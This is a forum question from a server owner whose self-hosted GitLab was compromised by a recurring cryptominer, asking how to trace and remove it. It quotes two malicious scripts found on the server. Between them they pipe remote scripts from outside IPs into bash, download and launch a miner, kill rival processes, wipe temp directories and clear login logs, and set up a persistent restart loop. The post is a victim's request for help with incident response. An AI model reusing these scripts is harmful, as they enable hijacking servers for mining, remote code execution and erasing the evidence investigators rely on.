title: How to to trace malware orignation on ubuntu server and stop it
body: <p>I have a ubuntu server with self hosted giltab-ce and two days ago my server started using 400% CPU.
  My hosting provider advised me to update my Gitlab (which was version 13.6.1), that I updated to 13.9.
  Still, periodically, there is some process that is starting running and uses more than all the CPU.</p>
  <p>At the beginning, I was thinking this was the issue (because the hosting provider attached this link to the email): <a href="https://hackerone.com/reports/1154542" rel="nofollow noreferrer">https://hackerone.com/reports/1154542</a></p>
  <p>Then I saw that the process name was <code>kdevtmpfsi</code> and followed all answers of this question: <a href="https://stackoverflow.com/questions/60151640/kdevtmpfsi-using-the-entire-cpu">kdevtmpfsi using the entire CPU</a></p>
  <p>Still nothing helped, the scripts periodically starts over and over again after a few hours.</p>
  <p>In <code>/tmp/.ssh</code> folder I found a redis.sh script with this content:</p>
  <pre><code>while true
  do
      killall -q -9 kdevtmpfsi
      killall -q -9 kinsing
      killall -q -9 xmrig
      killall -q -9 xmr
      killall -q -9 qwer
      pkill -9 kthreaddk
      pkill -9 kwolker
      pkill -9 mini
      pkill -9 kacpi_notifyd
      pkill -9 vim
      pkill -9 mym
      pkill -9 network
      pkill -9 .libs
      pkill -9 javase
      pkill -9 libexec
      rm -rf /usr/lib/vmware-vsphere-ui/server/postgres
      rm -rf /usr/lib/vmware-vsphere-ui/server/postgres_start.sh
      rm -rf /usr/lib/vmware-vsphere-ui/server/kvm.sh
      rm -rf /usr/lib/vmware-vsphere-ui/server/elastic.sh
      rm -rf $HOME/postgres
      rm -rf $HOME/kvm.sh
      rm -rf $HOME/elastic.sh
      ps aux | grep -v grep | grep 'javaupDates' | awk '{print $2}' | xargs -I % kill -9 %
      ps aux | grep -v grep | grep 'givemexyz' | awk '{print $2}' | xargs -I % kill -9 %
      ps aux | grep -v grep | grep 'dbused' | awk '{print $2}' | xargs -I % kill -9 %
      ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}' | xargs -I % kill -9 %
      ps aux | grep -v grep | grep 'kinsing' | awk '{print $2}' | xargs -I % kill -9 %
      ps aux | grep -v grep | grep 'cpu-force-autoconfig' | awk '{print $2}' | xargs -i kill -9 {}
      ps aux | grep -v grep | grep 'kvm.sh' | awk '{print $2}' | xargs -i kill -9 {}
      ps aux | grep -v grep | grep 'elastic.sh' | awk '{print $2}' | xargs -i kill -9 {}
      ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep 'wget' | awk '{print $2}' | xargs -i kill -9 {}
      ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep 'curl' | awk '{print $2}' | xargs -i kill -9 {}
      ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep 'urlopen' | awk '{print $2}' | xargs -i kill -9 {}
      ps aux | grep -v grep | grep '/var/tmp/.postgres/' | awk '{print $2}' | xargs -i kill -9 {}
      ps aux | grep -v grep | grep 'postgres_start.sh' | awk '{print $2}' | xargs -i kill -9 {}
      ps aux | grep -v grep | grep 'kinsing' | awk '{print $2}' | xargs -i kill -9 {}
      ps aux | grep -v grep | grep 'xmrig' | awk '{print $2}' | xargs -i kill -9 {}
      ps aux | grep -v grep | grep 'xmr' | awk '{print $2}' | xargs -i kill -9 {}
      ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}' | xargs -i kill -9 {}
      ps aux | grep -v grep | grep 'kthreaddk' | awk '{print $2}' | xargs -i kill -9 {}
      ps aux | grep -v grep | grep 'kthreaddi' | awk '{print $2}' | xargs -i kill -9 {}
      PROC_NAME=/tmp/system
      ProcNumber=`ps -ef |grep -w $PROC_NAME|grep -v grep|wc -l`
      if [ $ProcNumber -le 0 ];then
          if hash curl 2&gt;/dev/null;then
              curl http://135.125.217.87/stl.sh | bash &gt;/dev/null 2&gt;&amp;1 &amp;
          else
              python -c &quot;import requests;url='http://165.227.239.108/stl.sh';tmp=requests.get(url);open('./static.sh','wb').write(tmp.content)&quot;
              bash ./static.sh &gt;/dev/null 2&gt;&amp;1 &amp;
          fi
          break
      fi
  done
  </code></pre>
  <p>I removed that file, created a blank one and gave only read permission.</p>
  <p>The user that invokes this process is <code>git</code>. I stopped gitlab and deleted the git user.</p>
  <p>Could you please advise me what to do next? What I would like to understand is the process that creates those files and cronjobs.</p>
  <p>I'm trying everything but after a few hours the problem returns. What should I look for when it returns next time?</p>
  <p>Edit: I found another file that I think is the one that is downloading the one I pasted on top.</p>
  <pre><code>dan@dan:~/$ cat stl.sh
  rm -rf /var/tmp/*
  rm -rf /tmp/*
  killall -q -9 /var/tmp/.postgres/*
  ps aux | grep -v grep | grep 'runnerbus' | awk '{print $2}' | xargs -i kill -9 {}
  rm -rf /var/tmp/.postgres
  rm -rf /tmp/.*
  rm -rf /var/tmp/.*
  rm -rf /etc/cron.hourly/oanacroner
  rm -rf /etc/cron.hourly/oanacrona
  rm -rf /etc/cron.daily/oanacroner
  rm -rf /etc/cron.daily/oanacrona
  rm -rf /etc/cron.monthly/oanacroner
  rm -rf xmrig-6.13.1/
  rm -rf xmrig-6.13.1-linux-x64.tar.gz
  rm -rf $HOME/moneroocean/
  rm -rf /var/tmp/moneroocean/
  rm -rf /root/moneroocean/
  rm -rf $HOME/c3pool/
  rm -rf /tmp/.tmp/xlog
  rm -rf /var/tmp/.postgres
  rm -rf /tmp/kwolker
  rm -rf /tmp/kdevtmpfsi
  rm -rf /tmp/kinsing
  rm -rf /tmp/libexec
  rm -rf /tmp/mym
  rm -rf /usr/bin/kinsing*
  rm -rf /etc/cron.d/kinsing*
  ps aux | grep -v grep | grep 'postgres_start.sh' | awk '{print $2}' | xargs -i kill -9 {}
  ps aux | grep -v grep | grep '/var/tmp/.postgres_start/postgres_start.sh' | awk '{print $2}' | xargs -i kill -9 {}
  killall -q -9 workrun.sh
  killall -q -9 /tmp/kwolker
  killall -q -9 /tmp/mym
  killall -q -9 xmr
  killall -q -9 kdevtmpfsi
  killall -q -9 kinsing
  killall -q -9 xmrig
  killall -q -9 minerd
  killall -q -9 minerd
  killall -q -9 xig
  killall -q -9 cpuminer
  pkill -9 kworker
  pkill -9 kwolker
  pkill -9 mym
  sleep 1
  if hash curl 2&gt;/dev/null;then
      echo &quot;has curl 1&quot;
      curl --progress-bar http://135.125.217.87/static.c -o /tmp/system
  else
      echo &quot;haven't curl 1&quot;
      python -c &quot;import requests;url='http://135.125.217.87/static.c';tmp=requests.get(url);open('./system','wb').write(tmp.content)&quot;
  fi
  chmod +x /tmp/system
  mkdir /tmp/.ssh
  echo &gt; /var/log/wtmp
  echo &gt; /var/log/lastlog
  echo &gt;   /var/log/utmp
  cat /dev/null &gt;  /var/log/secure
  cat /dev/null &gt;  /var/log/message
  sed  -i '/107.191.63.34/'d  /var/log/messages
  sed -i 's/107.191.63.34/127.0.0.1/g' secure
  /tmp/system -o 207.38.87.6:3333 -p $HOSTNAME -k -B --cpu-priority 5 -l /tmp/.ssh/xlog --randomx-1gb-pages &gt;/dev/null 2&gt;&amp;1
  sleep 1
  if hash curl 2&gt;/dev/null;then
      echo &quot;has curl 2&quot;
      curl http://135.125.217.87/stlalive.sh -o /tmp/.ssh/redis.sh
  else
      mkdir /tmp/.ssh
      echo &quot;haven't curl 2&quot;
      python -c &quot;import requests;url='http://135.125.217.87/stlalive.sh';tmp=requests.get(url);open('/tmp/.ssh/redis.sh','wb').write(tmp.content)&quot;
  fi
  sleep 1
  chmod +x /tmp/.ssh/redis.sh
  nohup /tmp/.ssh/redis.sh &gt;/dev/null 2&gt;&amp;1 &amp;
  rm -rf ./run.sh
  
  </code></pre>
  <p>I removed this file, created a new file with the same name only readable. Then I stopped all processes from git, removed git user again. Recofigured gitlab. It's 10 hours since no other attack.</p>